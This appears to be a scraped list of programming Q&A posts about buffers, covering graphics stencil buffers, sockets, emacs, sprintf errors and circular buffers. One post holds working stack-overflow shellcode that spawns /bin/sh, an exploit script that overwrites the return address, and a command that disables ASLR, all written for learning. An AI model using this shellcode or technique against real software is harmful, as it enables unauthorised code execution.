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  • For buffer overflows, what is the stack address when using pthreads?

    - by t2k32316
    I'm taking a class in computer security and there is an extra credit assignment to insert executable code into a buffer overflow. I have the c source code for the target program I'm trying to manipulate, and I've gotten to the point where I can successfully overwrite the eip for the current function stack frame. However, I always get a Segmentation fault, because the address I supply is always wrong. The problem is that the current function is inside a pthread, and therefore, the address of the stack seems to always change between different runs of the program. Is there any method for finding the stack address within a pthread (or for estimating the stack address within a pthread)? (note: pthread_create's 2nd argument is null, so we're not manually assigning a stack address)

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  • Is there a default buffer length for 'sprintf' method?

    - by Isuru
    Hi, I used sprintf method to format data to a string which I want to write to a file, in C++ console application using VS 2008. The Input is a particular message, which has various variables and values (ex: Type 'int' and Value '10' / Type string and value "abc", etc.) When I send a two messages it works perfectly. But When I send more than two messages it gives a runtime error saying 0xC0000005: Access violation reading location 0xabababab. Why is this happening? Is it because the method 'sprintf' has a default buffer length? How can I overcome this problem?

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  • Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

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  • Buffer Overflow errors when reading ConfigDelay and Manufacturer info from registry

    - by peter
    Hi All, This is a strange driver error which doesn't make a lot of sense to me. I am running an application developed in C# .NET which our company develops. I was monitoring the application using process monitor and noticed that it accesses the registry a lot. The output on Process Monitor looks like this, Operation Result Path RegQueryValue Success HKLM\System\CurrentControlSet\Enum\SWMUXBUS\SW_MODEM\7&6c4af30&0&5&0004\Driver RegQueryValue Success HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\Properties RegQueryValue Success HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\Default RegQueryValue Success HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\InactivityScale RegQueryValue Name Not Found HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\PowerDelay RegQueryValue Name Not Found HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\ConfigDelay RegQueryValue Buffer Overflow HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\Manufacturer RegQueryValue Buffer Overflow HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\Model RegQueryValue Name Not Found HKLM\System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-08002BE10318}\0000\Version The app is reading this stuff every 5 seconds from the registry, so I would ask a few questions, 1) What is this stuff 2) Why is the app reading this stuff 3) Why is it saying 'Buffer Overflow' 4) Could this cause performance problems for my app? From what I can see the app does not explicitly read this stuff, so I think this relates to a driver on the machine (which is a netbook)

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  • Unable to get Stencil Buffer to work in iOS 4+ (5.0 works fine). [OpenGL ES 2.0]

    - by MurderDev
    So I am trying to use a stencil buffer in iOS for masking/clipping purposes. Do you guys have any idea why this code may not work? This is everything I have associated with Stencils. On iOS 4 I get a black screen. On iOS 5 I get exactly what I expect. The transparent areas of the image I drew in the stencil are the only areas being drawn later. Code is below. This is where I setup the frameBuffer, depth and stencil. In iOS the depth and stencil are combined. -(void)setupDepthBuffer { glGenRenderbuffers(1, &depthRenderBuffer); glBindRenderbuffer(GL_RENDERBUFFER, depthRenderBuffer); glRenderbufferStorage(GL_RENDERBUFFER, GL_DEPTH24_STENCIL8_OES, self.frame.size.width * [[UIScreen mainScreen] scale], self.frame.size.height * [[UIScreen mainScreen] scale]); } -(void)setupFrameBuffer { glGenFramebuffers(1, &frameBuffer); glBindFramebuffer(GL_FRAMEBUFFER, frameBuffer); glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_RENDERBUFFER, colorRenderBuffer); glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_RENDERBUFFER, depthRenderBuffer); glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_STENCIL_ATTACHMENT, GL_RENDERBUFFER, depthRenderBuffer); // Check the FBO. if(glCheckFramebufferStatus(GL_FRAMEBUFFER) != GL_FRAMEBUFFER_COMPLETE) { NSLog(@"Failure with framebuffer generation: %d", glCheckFramebufferStatus(GL_FRAMEBUFFER)); } } This is how I am setting up and drawing the stencil. (Shader code below.) glEnable(GL_STENCIL_TEST); glDisable(GL_DEPTH_TEST); glColorMask(GL_FALSE, GL_FALSE, GL_FALSE, GL_FALSE); glDepthMask(GL_FALSE); glStencilFunc(GL_ALWAYS, 1, -1); glStencilOp(GL_KEEP, GL_KEEP, GL_REPLACE); glColorMask(0, 0, 0, 0); glClear(GL_STENCIL_BUFFER_BIT); machineForeground.shader = [StencilEffect sharedInstance]; [machineForeground draw]; machineForeground.shader = [BasicEffect sharedInstance]; glDisable(GL_STENCIL_TEST); glColorMask(GL_TRUE, GL_TRUE, GL_TRUE, GL_TRUE); glDepthMask(GL_TRUE); Here is where I am using the stencil. glEnable(GL_STENCIL_TEST); glStencilOp(GL_KEEP, GL_KEEP, GL_KEEP); glStencilFunc(GL_EQUAL, 1, -1); ...Draw Stuff here glDisable(GL_STENCIL_TEST); Finally here is my fragment shader. varying lowp vec2 TexCoordOut; uniform sampler2D Texture; void main(void) { lowp vec4 color = texture2D(Texture, TexCoordOut); if(color.a < 0.1) gl_FragColor = color; else discard; }

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  • Can web apps allow fast data-typists to "type-ahead"?

    - by user61852
    In some data entry contexts, I've seen data typists, type really fast and know so well the app they use, and have a mechanic quality in their work so that they can "type ahead", ie continue typing and "tab-bing" and "enter-ing" faster than the display updates, so that in many occasions they are typing in the data for the next form before it draws itself. Then when this next entry form appears, their keystrokes fill the text boxes and they continue typing, selecting etc. In contexts like this, this speed is desirable, since this persons are really productive. I think this "type ahead of time" is only possible in desktop apps, but I may be wrong. My question is whether this way of handling the keyboard buffer (which in desktop apps require no extra programming) is achievable in web apps, or is this impossible because of the way web apps work, handle sessions, etc (network latency and the overhead of generating new web pages ) ? Edit: By "type ahead" I mean "keyboard type ahead" (typing faster than the next entry form can load), not suggets-as-you-type-like-google type ahead. Typeahead is a feature of computers and software (and some typewriters) that enables users to continue typing regardless of program or computer operation—the user may type in whatever speed he or she desires, and if the receiving software is busy at the time it will be called to handle this later. Often this means that keystrokes entered will not be displayed on the screen immediately. This programming technique for handling user what is known as a keyboard buffer.

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  • Writing to a D3DFMT_R32F render target clamps to 1

    - by Mike
    I'm currently implementing a picking system. I render some objects in a frame buffer, which has a render target, which has the D3DFMT_R32F format. For each mesh, I set an integer constant evaluator, which is its material index. My shader is simple: I output the position of each vertex, and for each pixel, I cast the material index in float, and assign this value to the Red channel: int ObjectIndex; float4x4 WvpXf : WorldViewProjection< string UIWidget = "None"; >; struct VS_INPUT { float3 Position : POSITION; }; struct VS_OUTPUT { float4 Position : POSITION; }; struct PS_OUTPUT { float4 Color : COLOR0; }; VS_OUTPUT VSMain( const VS_INPUT input ) { VS_OUTPUT output = (VS_OUTPUT)0; output.Position = mul( float4(input.Position, 1), WvpXf ); return output; } PS_OUTPUT PSMain( const VS_OUTPUT input, in float2 vpos : VPOS ) { PS_OUTPUT output = (PS_OUTPUT)0; output.Color.r = float( ObjectIndex ); output.Color.gba = 0.0f; return output; } technique Default { pass P0 { VertexShader = compile vs_3_0 VSMain(); PixelShader = compile ps_3_0 PSMain(); } } The problem I have, is that somehow, the values written in the render target are clamped between 0.0f and 1.0f. I've tried to change the rendertarget format, but I always get clamped values... I don't know what the root of the problem is. For information, I have a depth render target attached to the frame buffer. I disabled the blend in the render state the stencil is disabled Any ideas?

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  • Position Reconstruction from Depth by inverting Perspective Projection

    - by user1294203
    I had some trouble reconstructing position from depth sampled from the depth buffer. I use the equivalent of gluPerspective in GLM. The code in GLM is: template GLM_FUNC_QUALIFIER detail::tmat4x4 perspective ( valType const & fovy, valType const & aspect, valType const & zNear, valType const & zFar ) { valType range = tan(radians(fovy / valType(2))) * zNear; valType left = -range * aspect; valType right = range * aspect; valType bottom = -range; valType top = range; detail::tmat4x4 Result(valType(0)); Result[0][0] = (valType(2) * zNear) / (right - left); Result[1][2] = (valType(2) * zNear) / (top - bottom); Result[2][3] = - (zFar + zNear) / (zFar - zNear); Result[2][4] = - valType(1); Result[3][5] = - (valType(2) * zFar * zNear) / (zFar - zNear); return Result; } There doesn't seem to be any errors in the code. So I tried to invert the projection, the formula for the z and w coordinates after projection are: and dividing z' with w' gives the post-projective depth (which lies in the depth buffer), so I need to solve for z, which finally gives: Now, the problem is I don't get the correct position (I have compared the one reconstructed with a rendered position). I then tried using the respective formula I get by doing the same for this Matrix. The corresponding formula is: For some reason, using the above formula gives me the correct position. I really don't understand why this is the case. Have I done something wrong? Could someone enlighten me please?

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  • emacs: How to intelligently handle buffer-modified when setting text properties?

    - by Cheeso
    The documentation on Text Properties says: Since text properties are considered part of the contents of the buffer (or string), and can affect how a buffer looks on the screen, any change in buffer text properties marks the buffer as modified. First, I don't understand that policy. Can anyone explain? The text props are not actually saved in the file, when the buffer is saved. So why mark the buffer as modified? For me, buffer-modified indicates "some changes have not yet been saved." but understanding the policy is just for my own amusement. More importantly, is there an already-established way that, in code, I can change syntax text properties on the text in a buffer, while keeping the buffer-modified flag set to whatever it was, prior to those changes? I'm thinking of something like save-excursion. It would be pretty easy to write, but this seems like a common case and I'd like to use the standard function, if possible. For more on the scenario - I have a mode that does a full text scan and sets syntax-tabe properties on the text. After opening a buffer, the scan runs, but it results in a buffer with buffer-modified set to t . As always, thanks.

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  • C# Sockets Buffer Overflow No Error

    - by Michael Covelli
    I have one thread that is receiving data over a socket like this: while (sock.Connected) { // Receive Data (Block if no data) recvn = sock.Receive(recvb, 0, rlen, SocketFlags.None, out serr); if (recvn <= 0 || sock == null || !sock.Connected) { OnError("Error In Receive, recvn <= 0 || sock == null || !sock.Connected"); return; } else if (serr != SocketError.Success) { OnError("Error In Receive, serr = " + serr); return; } // Copy Data Into Tokenizer tknz.Read(recvb, recvn); // Parse Data while (tknz.MoveToNext()) { try { ParseMessageAndRaiseEvents(tknz.Buffer(), tknz.Length); } catch (System.Exception ex) { string BadMessage = ByteArrayToStringClean(tknz.Buffer(), tknz.Length); string msg = string.Format("Exception in MDWrapper Parsing Message, Ex = {0}, Msg = {1}", ex.Message, BadMessage); OnError(msg); } } } And I kept seeing occasional errors in my parsing function indicating that the message wasn't valid. At first, I thought that my tokenizer class was broken. But after logging all the incoming bytes to the tokenizer, it turns out that the raw bytes in recvb weren't a valid message. I didn't think that corrupted data like this was possible with a tcp data stream. I figured it had to be some type of buffer overflow so I set sock.ReceiveBufferSize = 1024 * 1024 * 8; and the parsing error never, ever occurs in testing (it happens often enough to replicate if I don't change the ReceiveBufferSize). But my question is: why wasn't I seeing an exception or an error state or something if the socket's internal buffer was overflowing before I changed this buffer size?

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  • How can I write only to the stencil buffer in OpenGL ES 2.0?

    - by stephelton
    I'd like to write to the stencil buffer without incurring the cost of my expensive shaders. As I understand it, I write to the stencil buffer as a 'side effect' of rendering something. In this first pass where I write to the stencil buffer, I don't want to write anything to the color or depth buffer, and I definitely don't want to run through my lighting equations in my shaders. Do I need to create no-op shaders for this (and can I just discard fragments), or is there a better way to do this? As the title says, I'm using OpenGL ES 2.0. I haven't used the stencil buffer before, so if I seem to be misunderstanding something, feel free to be verbose.

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  • Problem reading hexadecimal buffer from C socket

    - by Olaseni
    I'm using the SDL_net sockets API to create a server and client. I can easily read a string buffer, but when I try to send hexadecimal data, recv gets the length, but I cannot seem to be a able to read the buffer contents. IPaddress ip; TCPsocket server,client; int bufSize = 1024; char message[bufSize]; int len; server = SDLNet_TCP_Open(&ip); client = SDLNet_TCP_Accept(server); len = SDLNet_TCP_Recv(client,message,bufSize); Here's a snippet. the buffer length "len" is set (i.e. message length) but I can't get to the data contents in the message buffer. Some sample bind_transmitter PDU data was sent by a random client to the server at that port. I can't read the PDU (SMPP).

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  • Using fscanf with dynamically allocated buffer.

    - by ryyst
    Hi, I got the following code: char buffer[2047]; int charsRead; do { if(fscanf(file, "%2047[^\n]%n%*c", buffer, &charsRead) == 1) { // Do something } } while (charsRead == 2047); I wanted to convert this code to use dynamically allocated variables so that when calling this code often I won't get heavy memory leakage. Thus, I tried this: char *buffer = malloc(sizeof(char) * 2047); int *charsRead = malloc(sizeof(int)); do { if(fscanf(file, "%2047[^\n]%n%*c", *buffer, charsRead) == 1) { // Do something } } while (*charsRead == 2047); Unfortunately, this does not work. I always get “EXC_BAD_ACCESS” errors, just before the if-statement with the fscanf call. What am I doing wrong? Thanks for any help! -- Ry

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  • Read a buffer of unknown size (Console input)

    - by Sanarothe
    Hi. I'm a little behind in my X86 Asm class, and the book is making me want to shoot myself in the face. The examples in the book are insufficient and, honestly, very frustrating because of their massive dependencies upon the author's link library, which I hate. I wanted to learn ASM, not how to call his freaking library, which calls more of his library. Anyway, I'm stuck on a lab that requires console input and output. So far, I've got this for my input: input PROC INVOKE ReadConsole, inputHandle, ADDR buffer, Buf - 2, ADDR bytesRead, 0 mov eax,OFFSET buffer Ret input EndP I need to use the input and output procedures multiple times, so I'm trying to make it abstract. I'm just not sure how to use the data that is set to eax here. My initial idea was to take that string array and manually crawl through it by adding 8 to the offset for each possible digit (Input is integer, and there's a little bit of processing) but this doesn't work out because I don't know how big the input actually is. So, how would you swap the string array into an integer that could be used? Full code: (Haven't done the integer logic or the instruction string output because I'm stuck here.) include c:/irvine/irvine32.inc .data inputHandle HANDLE ? outputHandle HANDLE ? buffer BYTE BufSize DUP(?),0,0 bytesRead DWORD ? str1 BYTE "Enter an integer:",0Dh, 0Ah str2 BYTE "Enter another integer:",0Dh, 0Ah str3 BYTE "The higher of the two integers is: " int1 WORD ? int2 WORD ? int3 WORD ? Buf = 80 .code main PROC call handle push str1 call output call input push str2 call output call input push str3 call output call input main EndP larger PROC Ret larger EndP output PROC INVOKE WriteConsole Ret output EndP handle PROC USES eax INVOKE GetStdHandle, STD_INPUT_HANDLE mov inputHandle,eax INVOKE GetStdHandle, STD_INPUT_HANDLE mov outputHandle,eax Ret handle EndP input PROC INVOKE ReadConsole, inputHandle, ADDR buffer, Buf - 2, ADDR bytesRead, 0 mov eax,OFFSET buffer Ret input EndP END main

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  • Drawing RAW buffer to CGBitmapContext

    - by Raj
    Hi all, I have a raw image buffer in the RGB format. I need to draw it to CGContext so that I get a new buffer of the format ARGB. I accomplish this in the following way: Create a data provider out of raw buffer using CGDataProviderCreateWithData and then create image out of the data provider with the api: CGImageCreate. Now if I write this image back to the CGBitmapContext using CGContextImageDraw. Instead of creating an intermediate image, is there any way of writing the buffer directly to CGContext so that I can avoid the image creation phase? Thanks

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  • Create big buffer on a pic18f with microchip c18 compiler

    - by acemtp
    Using Microchip C18 compiler with a pic18f, I want to create a "big" buffer of 3000 bytes in the program data space. If i put this in the main() (on stack): char tab[127]; I have this error: Error [1300] stack frame too large If I put it in global, I have this error: Error - section '.udata_main.o' can not fit the section. Section '.udata_main.o' length=0x0000007f How to create a big buffer? Do you have tutorial on how to manage big buffer on pic18f with c18?

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  • Rendering GDI components to a buffer or d3d texture

    - by Tim
    Hi, I'm trying to redirect the output of a GDI application to a buffer, preferably a d3d texture but I'll settle for a system memory buffer that I can then copy to a d3d texture. Specifically, I'm trying to get Google Chrome to render into a d3d buffer to be displayed in a d3d application. Are there any foolproof ways to do this or am I opening the mother of all worm-cans? Thanks, Tim.

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  • .NET Sockets Buffer Overflow No Error

    - by Michael Covelli
    I have one thread that is receiving data over a socket like this: while (sock.Connected) { // Receive Data (Block if no data) recvn = sock.Receive(recvb, 0, rlen, SocketFlags.None, out serr); if (recvn <= 0 || sock == null || !sock.Connected) { OnError("Error In Receive, recvn <= 0 || sock == null || !sock.Connected"); return; } else if (serr != SocketError.Success) { OnError("Error In Receive, serr = " + serr); return; } // Copy Data Into Tokenizer tknz.Read(recvb, recvn); // Parse Data while (tknz.MoveToNext()) { try { ParseMessageAndRaiseEvents(tknz.Buffer(), tknz.Length); } catch (System.Exception ex) { string BadMessage = ByteArrayToStringClean(tknz.Buffer(), tknz.Length); string msg = string.Format("Exception in MDWrapper Parsing Message, Ex = {0}, Msg = {1}", ex.Message, BadMessage); OnError(msg); } } } And I kept seeing occasional errors in my parsing function indicating that the message wasn't valid. At first, I thought that my tokenizer class was broken. But after logging all the incoming bytes to the tokenizer, it turns out that the raw bytes in recvb weren't a valid message. I didn't think that corrupted data like this was possible with a tcp data stream. I figured it had to be some type of buffer overflow so I set sock.ReceiveBufferSize = 1024 * 1024 * 8; and the parsing error never, ever occurs in testing (it happens often enough to replicate if I don't change the ReceiveBufferSize). But my question is: why wasn't I seeing an exception or an error state or something if the socket's internal buffer was overflowing before I changed this buffer size?

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  • Emacs shell output buffer height

    - by jimbo
    Hi , i have the following in my .emacs file(thanks to a SOer nikwin), which evaluates the current buffer content and displays the output in another buffer. (defun shell-compile () (interactive) (save-buffer) (shell-command (concat "python " (buffer-file-name)))) (add-hook 'python-mode-hook (lambda () (local-set-key (kbd "\C-c\C-c") 'shell-compile))) The problem is that the output window takes half the emacs screen. Is there any way to set the output windows's height to something smaller. I googled for 30mins or so and could not find anything that worked. Thanks in advance.

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  • An IOCP documentation interpretation question - buffer ownership ambiguity

    - by Poni
    Since I'm not a native English speaker I might be missing something so maybe someone here knows better than me. Taken from WSASend's doumentation at MSDN: lpBuffers [in] A pointer to an array of WSABUF structures. Each WSABUF structure contains a pointer to a buffer and the length, in bytes, of the buffer. For a Winsock application, once the WSASend function is called, the system owns these buffers and the application may not access them. This array must remain valid for the duration of the send operation. Ok, can you see the bold text? That's the unclear spot! I can think of two translations for this line (might be something else, you name it): Translation 1 - "buffers" refers to the OVERLAPPED structure that I pass this function when calling it. I may reuse the object again only when getting a completion notification about it. Translation 2 - "buffers" refer to the actual buffers, those with the data I'm sending. If the WSABUF object points to one buffer, then I cannot touch this buffer until the operation is complete. Can anyone tell what's the right interpretation to that line? And..... If the answer is the second one - how would you resolve it? Because to me it implies that for each and every data/buffer I'm sending I must retain a copy of it at the sender side - thus having MANY "pending" buffers (in different sizes) on an high traffic application, which really going to hurt "scalability". Statement 1: In addition to the above paragraph (the "And...."), I thought that IOCP copies the data to-be-sent to it's own buffer and sends from there, unless you set SO_SNDBUF to zero. Statement 2: I use stack-allocated buffers (you know, something like char cBuff[1024]; at the function body - if the translation to the main question is the second option (i.e buffers must stay as they are until the send is complete), then... that really screws things up big-time! Can you think of a way to resolve it? (I know, I asked it in other words above).

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  • Formulae for U and V buffer offset

    - by Abhi
    Hi all ! What should be the buffer offset value for U & V in YUV444 format type? Like for an example if i am using YV12 format the value is as follows: ppData.inputIDMAChannel.UBufOffset = iInputHeight * iInputWidth + (iInputHeight * iInputWidth)/4; ppData.inputIDMAChannel.VBufOffset = iInputHeight * iInputWidth; iInputHeight = 160 & iInputWidth = 112 ppdata is an object for the following structure: typedef struct ppConfigDataStruct { //--------------------------------------------------------------- // General controls //--------------------------------------------------------------- UINT8 IntType; // FIRSTMODULE_INTERRUPT: the interrupt will be // rised once the first sub-module finished its job. // FRAME_INTERRUPT: the interrput will be rised // after all sub-modules finished their jobs. //--------------------------------------------------------------- // Format controls //--------------------------------------------------------------- // For input idmaChannel inputIDMAChannel; BOOL bCombineEnable; idmaChannel inputcombIDMAChannel; UINT8 inputcombAlpha; UINT32 inputcombColorkey; icAlphaType alphaType; // For output idmaChannel outputIDMAChannel; CSCEQUATION CSCEquation; // Selects R2Y or Y2R CSC Equation icCSCCoeffs CSCCoeffs; // Selects R2Y or Y2R CSC Equation icFlipRot FlipRot; // Flip/Rotate controls for VF BOOL allowNopPP; // flag to indicate we need a NOP PP processing }*pPpConfigData, ppConfigData; and idmaChannel structure is as follows: typedef struct idmaChannelStruct { icFormat FrameFormat; // YUV or RGB icFrameSize FrameSize; // frame size UINT32 LineStride;// stride in bytes icPixelFormat PixelFormat;// Input frame RGB format, set NULL // to use standard settings. icDataWidth DataWidth;// Bits per pixel for RGB format UINT32 UBufOffset;// offset of U buffer from Y buffer start address // ignored if non-planar image format UINT32 VBufOffset;// offset of U buffer from Y buffer start address // ignored if non-planar image format } idmaChannel, *pIdmaChannel; I want the formulae for ppData.inputIDMAChannel.UBufOffset & ppData.inputIDMAChannel.VBufOffset for YUV444 Thanks in advance

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  • How would you code an efficient Circular Buffer in Java or C#

    - by Cheeso
    I want a simple class that implements a fixed-size circular buffer. It should be efficient, easy on the eyes, generically typed. EDIT: It need not be MT-capable, for now. I can always add a lock later, it won't be high-concurrency in any case. Methods should be: .Add and I guess .List, where I retrieve all the entries. On second thought, Retrieval I think should be done via an indexer. At any moment I will want to be able to retrieve any element in the buffer by index. But keep in mind that from one moment to the next Element[n] may be different, as the Circular buffer fills up and rolls over. This isn't a stack, it's a circular buffer. Regarding "overflow": I would expect internally there would be an array holding the items, and over time the head and tail of the buffer will rotate around that fixed array. But that should be invisible from the user. There should be no externally-detectable "overflow" event or behavior. This is not a school assignment - it is most commonly going to be used for a MRU cache or a fixed-size transaction or event log.

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  • GTK+ buffer in g_input_stream_read...

    - by sterh
    Hello, I load data with function: gssize g_input_stream_read (GInputStream *stream, void *buffer, gsize count, GCancellable *cancellable, GError **error); What is ma value of buffer parameter. How can I know what should be equal to buffer? I make: #define LOAD_BUFFER_SIZE 65536 But when i try to load image, only visible part of the image. Thank you.

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  • How to buffer stdout in memory and write it from a dedicated thread

    - by NickB
    I have a C application with many worker threads. It is essential that these do not block so where the worker threads need to write to a file on disk, I have them write to a circular buffer in memory, and then have a dedicated thread for writing that buffer to disk. The worker threads do not block any more. The dedicated thread can safely block while writing to disk without affecting the worker threads (it does not hold a lock while writing to disk). My memory buffer is tuned to be sufficiently large that the writer thread can keep up. This all works great. My question is, how do I implement something similar for stdout? I could macro printf() to write into a memory buffer, but I don't have control over all the code that might write to stdout (some of it is in third-party libraries). Thoughts? NickB

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